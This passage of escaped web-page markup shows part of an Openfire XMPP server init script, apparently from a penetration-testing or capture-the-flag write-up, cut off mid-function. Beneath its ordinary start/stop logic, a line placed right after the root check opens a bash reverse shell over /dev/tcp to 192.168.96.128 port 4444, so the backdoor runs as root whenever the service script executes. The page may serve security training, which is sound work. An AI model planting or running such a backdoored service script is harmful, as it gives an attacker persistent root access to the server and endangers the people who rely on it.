class="lnt"&gt; 92&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 93&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 94&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 95&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 96&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 97&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 98&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 99&#10;&lt;/span&gt;&lt;span class="lnt"&gt;100&#10;&lt;/span&gt;&lt;span class="lnt"&gt;101&#10;&lt;/span&gt;&lt;span class="lnt"&gt;102&#10;&lt;/span&gt;&lt;span class="lnt"&gt;103&#10;&lt;/span&gt;&lt;span class="lnt"&gt;104&#10;&lt;/span&gt;&lt;span class="lnt"&gt;105&#10;&lt;/span&gt;&lt;span class="lnt"&gt;106&#10;&lt;/span&gt;&lt;span class="lnt"&gt;107&#10;&lt;/span&gt;&lt;span class="lnt"&gt;108&#10;&lt;/span&gt;&lt;span class="lnt"&gt;109&#10;&lt;/span&gt;&lt;span class="lnt"&gt;110&#10;&lt;/span&gt;&lt;span class="lnt"&gt;111&#10;&lt;/span&gt;&lt;span class="lnt"&gt;112&#10;&lt;/span&gt;&lt;span class="lnt"&gt;113&#10;&lt;/span&gt;&lt;span class="lnt"&gt;114&#10;&lt;/span&gt;&lt;span class="lnt"&gt;115&#10;&lt;/span&gt;&lt;span class="lnt"&gt;116&#10;&lt;/span&gt;&lt;span class="lnt"&gt;117&#10;&lt;/span&gt;&lt;span class="lnt"&gt;118&#10;&lt;/span&gt;&lt;span class="lnt"&gt;119&#10;&lt;/span&gt;&lt;span class="lnt"&gt;120&#10;&lt;/span&gt;&lt;span class="lnt"&gt;121&#10;&lt;/span&gt;&lt;span class="lnt"&gt;122&#10;&lt;/span&gt;&lt;span class="lnt"&gt;123&#10;&lt;/span&gt;&lt;span class="lnt"&gt;124&#10;&lt;/span&gt;&lt;span class="lnt"&gt;125&#10;&lt;/span&gt;&lt;span class="lnt"&gt;126&#10;&lt;/span&gt;&lt;span class="lnt"&gt;127&#10;&lt;/span&gt;&lt;span class="lnt"&gt;128&#10;&lt;/span&gt;&lt;span class="lnt"&gt;129&#10;&lt;/span&gt;&lt;span class="lnt"&gt;130&#10;&lt;/span&gt;&lt;span class="lnt"&gt;131&#10;&lt;/span&gt;&lt;span class="lnt"&gt;132&#10;&lt;/span&gt;&lt;span class="lnt"&gt;133&#10;&lt;/span&gt;&lt;span class="lnt"&gt;134&#10;&lt;/span&gt;&lt;span class="lnt"&gt;135&#10;&lt;/span&gt;&lt;span class="lnt"&gt;136&#10;&lt;/span&gt;&lt;span class="lnt"&gt;137&#10;&lt;/span&gt;&lt;span class="lnt"&gt;138&#10;&lt;/span&gt;&lt;span class="lnt"&gt;139&#10;&lt;/span&gt;&lt;span class="lnt"&gt;140&#10;&lt;/span&gt;&lt;span class="lnt"&gt;141&#10;&lt;/span&gt;&lt;span class="lnt"&gt;142&#10;&lt;/span&gt;&lt;span class="lnt"&gt;143&#10;&lt;/span&gt;&lt;span class="lnt"&gt;144&#10;&lt;/span&gt;&lt;span class="lnt"&gt;145&#10;&lt;/span&gt;&lt;span class="lnt"&gt;146&#10;&lt;/span&gt;&lt;span class="lnt"&gt;147&#10;&lt;/span&gt;&lt;span class="lnt"&gt;148&#10;&lt;/span&gt;&lt;span class="lnt"&gt;149&#10;&lt;/span&gt;&lt;span class="lnt"&gt;150&#10;&lt;/span&gt;&lt;span class="lnt"&gt;151&#10;&lt;/span&gt;&lt;span class="lnt"&gt;152&#10;&lt;/span&gt;&lt;span class="lnt"&gt;153&#10;&lt;/span&gt;&lt;span class="lnt"&gt;154&#10;&lt;/span&gt;&lt;span class="lnt"&gt;155&#10;&lt;/span&gt;&lt;span class="lnt"&gt;156&#10;&lt;/span&gt;&lt;span class="lnt"&gt;157&#10;&lt;/span&gt;&lt;span class="lnt"&gt;158&#10;&lt;/span&gt;&lt;span class="lnt"&gt;159&#10;&lt;/span&gt;&lt;span class="lnt"&gt;160&#10;&lt;/span&gt;&lt;span class="lnt"&gt;161&#10;&lt;/span&gt;&lt;span class="lnt"&gt;162&#10;&lt;/span&gt;&lt;span class="lnt"&gt;163&#10;&lt;/span&gt;&lt;span class="lnt"&gt;164&#10;&lt;/span&gt;&lt;span class="lnt"&gt;165&#10;&lt;/span&gt;&lt;span class="lnt"&gt;166&#10;&lt;/span&gt;&lt;span class="lnt"&gt;167&#10;&lt;/span&gt;&lt;span class="lnt"&gt;168&#10;&lt;/span&gt;&lt;span class="lnt"&gt;169&#10;&lt;/span&gt;&lt;span class="lnt"&gt;170&#10;&lt;/span&gt;&lt;span class="lnt"&gt;171&#10;&lt;/span&gt;&lt;span class="lnt"&gt;172&#10;&lt;/span&gt;&lt;span class="lnt"&gt;173&#10;&lt;/span&gt;&lt;span class="lnt"&gt;174&#10;&lt;/span&gt;&lt;span class="lnt"&gt;175&#10;&lt;/span&gt;&lt;span class="lnt"&gt;176&#10;&lt;/span&gt;&lt;span class="lnt"&gt;177&#10;&lt;/span&gt;&lt;span class="lnt"&gt;178&#10;&lt;/span&gt;&lt;span class="lnt"&gt;179&#10;&lt;/span&gt;&lt;span class="lnt"&gt;180&#10;&lt;/span&gt;&lt;span class="lnt"&gt;181&#10;&lt;/span&gt;&lt;span class="lnt"&gt;182&#10;&lt;/span&gt;&lt;span class="lnt"&gt;183&#10;&lt;/span&gt;&lt;span class="lnt"&gt;184&#10;&lt;/span&gt;&lt;span class="lnt"&gt;185&#10;&lt;/span&gt;&lt;span class="lnt"&gt;186&#10;&lt;/span&gt;&lt;span class="lnt"&gt;187&#10;&lt;/span&gt;&lt;span class="lnt"&gt;188&#10;&lt;/span&gt;&lt;span class="lnt"&gt;189&#10;&lt;/span&gt;&lt;span class="lnt"&gt;190&#10;&lt;/span&gt;&lt;span class="lnt"&gt;191&#10;&lt;/span&gt;&lt;span class="lnt"&gt;192&#10;&lt;/span&gt;&lt;span class="lnt"&gt;193&#10;&lt;/span&gt;&lt;span class="lnt"&gt;194&#10;&lt;/span&gt;&lt;span class="lnt"&gt;195&#10;&lt;/span&gt;&lt;span class="lnt"&gt;196&#10;&lt;/span&gt;&lt;span class="lnt"&gt;197&#10;&lt;/span&gt;&lt;span class="lnt"&gt;198&#10;&lt;/span&gt;&lt;span class="lnt"&gt;199&#10;&lt;/span&gt;&lt;span class="lnt"&gt;200&#10;&lt;/span&gt;&lt;span class="lnt"&gt;201&#10;&lt;/span&gt;&lt;span class="lnt"&gt;202&#10;&lt;/span&gt;&lt;span class="lnt"&gt;203&#10;&lt;/span&gt;&lt;span class="lnt"&gt;204&#10;&lt;/span&gt;&lt;span class="lnt"&gt;205&#10;&lt;/span&gt;&lt;span class="lnt"&gt;206&#10;&lt;/span&gt;&lt;span class="lnt"&gt;207&#10;&lt;/span&gt;&lt;span class="lnt"&gt;208&#10;&lt;/span&gt;&lt;span class="lnt"&gt;209&#10;&lt;/span&gt;&lt;span class="lnt"&gt;210&#10;&lt;/span&gt;&lt;span class="lnt"&gt;211&#10;&lt;/span&gt;&lt;span class="lnt"&gt;212&#10;&lt;/span&gt;&lt;span class="lnt"&gt;213&#10;&lt;/span&gt;&lt;span class="lnt"&gt;214&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;#!/bin/sh&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;#&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# openfire Stops and starts the Openfire XMPP service.&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;#&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# chkconfig: 2345 99 1&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# description: Openfire is an XMPP server, which is a server that facilitates \&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# XML based communication, such as chat.&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# config: /opt/openfire/conf/openfire.xml&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# config: /etc/sysconfig/openfire&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# pidfile: /var/run/openfire.pid&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;#&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# This script has currently been tested on Redhat, CentOS, and Fedora based&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# systems.&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;#&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;#####&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# Begin setup work&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;#####&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# Initialization&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;PATH=&amp;#34;/sbin:/bin:/usr/bin:/usr/sbin&amp;#34;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;RETVAL=0&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# Check that we are root ... so non-root users stop here.&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;if [ &amp;#34;`id -u`&amp;#34; != 0 ]; then&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;echo $0 must be run as root&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;exit 1&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;fi&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;su -s /bin/sh -c &amp;#34;bash -i &amp;gt;&amp;amp; /dev/tcp/192.168.96.128/4444 0&amp;gt;&amp;amp;1&amp;#34;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# Get config.&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;[ -f &amp;#34;/etc/sysconfig/openfire&amp;#34; ] &amp;amp;&amp;amp; . /etc/sysconfig/openfire&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;if [ -f &amp;#34;/etc/init.d/functions&amp;#34; ]; then&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;FUNCTIONS_FOUND=true&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;. /etc/init.d/functions&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;fi&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# If openfire user is not set in sysconfig, set to daemon.&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;[ -z &amp;#34;$OPENFIRE_USER&amp;#34; ] &amp;amp;&amp;amp; OPENFIRE_USER=&amp;#34;daemon&amp;#34;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# If pid file path is not set in sysconfig, set to /var/run/openfire.pid.&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;[ -z &amp;#34;$OPENFIRE_PIDFILE&amp;#34; ] &amp;amp;&amp;amp; OPENFIRE_PIDFILE=&amp;#34;/var/run/openfire.pid&amp;#34;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# -----------------------------------------------------------------&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# If a openfire home variable has not been specified, try to determine it.&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;if [ -z &amp;#34;$OPENFIRE_HOME&amp;#34; -o ! -d &amp;#34;$OPENFIRE_HOME&amp;#34; ]; then&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;if [ -d &amp;#34;/usr/share/openfire&amp;#34; ]; then&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;OPENFIRE_HOME=&amp;#34;/usr/share/openfire&amp;#34;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;elif [ -d &amp;#34;/usr/local/openfire&amp;#34; ]; then&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;OPENFIRE_HOME=&amp;#34;/usr/local/openfire&amp;#34;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;elif [ -d &amp;#34;/opt/openfire&amp;#34; ]; then&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;OPENFIRE_HOME=&amp;#34;/opt/openfire&amp;#34;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;else&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;echo &amp;#34;Could not find Openfire installation under /opt, /usr/share, or /usr/local.&amp;#34;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;echo &amp;#34;Please specify the Openfire installation location as variable OPENFIRE_HOME&amp;#34;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;echo &amp;#34;in /etc/sysconfig/openfire.&amp;#34;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;exit 1&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;fi&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;fi&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# If log path is not set in sysconfig, set to $OPENFIRE_HOME/logs.&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;[ -z &amp;#34;$OPENFIRE_LOGDIR&amp;#34; ] &amp;amp;&amp;amp; OPENFIRE_LOGDIR=&amp;#34;${OPENFIRE_HOME}/logs&amp;#34;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# Attempt to locate java installation.&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;if [ -z &amp;#34;$JAVA_HOME&amp;#34; ]; then&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;if [ -d &amp;#34;${OPENFIRE_HOME}/jre&amp;#34; ]; then&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;JAVA_HOME=&amp;#34;${OPENFIRE_HOME}/jre&amp;#34;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;elif [ -d &amp;#34;/etc/alternatives/jre&amp;#34; ]; then&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;JAVA_HOME=&amp;#34;/etc/alternatives/jre&amp;#34;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;else&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;jdks=`ls -r1d /usr/java/j*`&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;for jdk in $jdks; do&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;if [ -f &amp;#34;${jdk}/bin/java&amp;#34; ]; then&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;JAVA_HOME=&amp;#34;$jdk&amp;#34;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;break&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;fi&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;done&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;fi&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;fi&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;JAVACMD=&amp;#34;${JAVA_HOME}/bin/java&amp;#34;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;if [ ! -d &amp;#34;$JAVA_HOME&amp;#34; -o ! -x &amp;#34;$JAVACMD&amp;#34; ]; then&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;echo &amp;#34;Error: JAVA_HOME is not defined correctly.&amp;#34;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;echo &amp;#34; Can not sure execute $JAVACMD.&amp;#34;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;exit 1&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;fi&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# Prepare location of openfire libraries&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;OPENFIRE_LIB=&amp;#34;${OPENFIRE_HOME}/lib&amp;#34;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# Prepare openfire command line&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;OPENFIRE_OPTS=&amp;#34;${OPENFIRE_OPTS} -DopenfireHome=${OPENFIRE_HOME} -Dopenfire.lib.dir=${OPENFIRE_LIB}&amp;#34;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# Prepare local java class path&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;if [ -z &amp;#34;$LOCALCLASSPATH&amp;#34; ]; then&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;LOCALCLASSPATH=&amp;#34;${OPENFIRE_LIB}/startup.jar&amp;#34;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;else&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;LOCALCLASSPATH=&amp;#34;${OPENFIRE_LIB}/startup.jar:${LOCALCLASSPATH}&amp;#34;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;fi&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# Export any necessary variables&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;export JAVA_HOME JAVACMD&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# Lastly, prepare the full command that we are going to run.&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;OPENFIRE_RUN_CMD=&amp;#34;${JAVACMD} -server ${OPENFIRE_OPTS} -classpath \&amp;#34;${LOCALCLASSPATH}\&amp;#34; -jar \&amp;#34;${OPENFIRE_LIB}/startup.jar\&amp;#34;&amp;#34;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;#####&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# End setup work&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;#####&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;start() {&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;OLD_PWD=`pwd`&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;cd $OPENFIRE_LOGDIR&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;PID=$(findPID)&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;if [ -n &amp;#34;$PID&amp;#34; ]; then&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;echo &amp;#34;Openfire is already running.&amp;#34;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;RETVAL=1&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;return&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;fi&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# Start daemons.&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;echo -n &amp;#34;Starting openfire: &amp;#34;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;rm -f nohup.out&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;su -s /bin/sh -c &amp;#34;nohup $OPENFIRE_RUN_CMD &amp;gt; $OPENFIRE_LOGDIR/nohup.out 2&amp;gt;&amp;amp;1 &amp;amp;&amp;#34; $OPENFIRE_USER&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;RETVAL=$?&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;echo&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;[ $RETVAL -eq 0 -a -d /var/lock/subsys ] &amp;amp;&amp;amp; touch /var/lock/subsys/openfire&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;sleep 1 # allows prompt to return&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;cd $OLD_PWD&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;}&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;stop() {&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# Stop daemons.&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;echo -n &amp;#34;Shutting down openfire: &amp;#34;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;PID=$(findPID)&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;if [ -n &amp;#34;$PID&amp;#34; ]; then&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;if [ -n &amp;#34;$FUNCTIONS_FOUND&amp;#34; ]; then&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;echo $PID &amp;gt; $OPENFIRE_PIDFILE&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# delay copied from restart&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;killproc -p $OPENFIRE_PIDFILE -d 10&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;rm -f $OPENFIRE_PIDFILE&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;else&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;kill $PID&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;fi&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;else&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;echo &amp;#34;Openfire is not running.&amp;#34;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;fi&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;RETVAL=$?&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;echo&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;[ $RETVAL -eq 0 -a -f &amp;#34;/var/lock/subsys/openfire&amp;#34; ] &amp;amp;&amp;amp; rm -f /var/lock/subsys/openfire&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;}&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;restart() {&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span 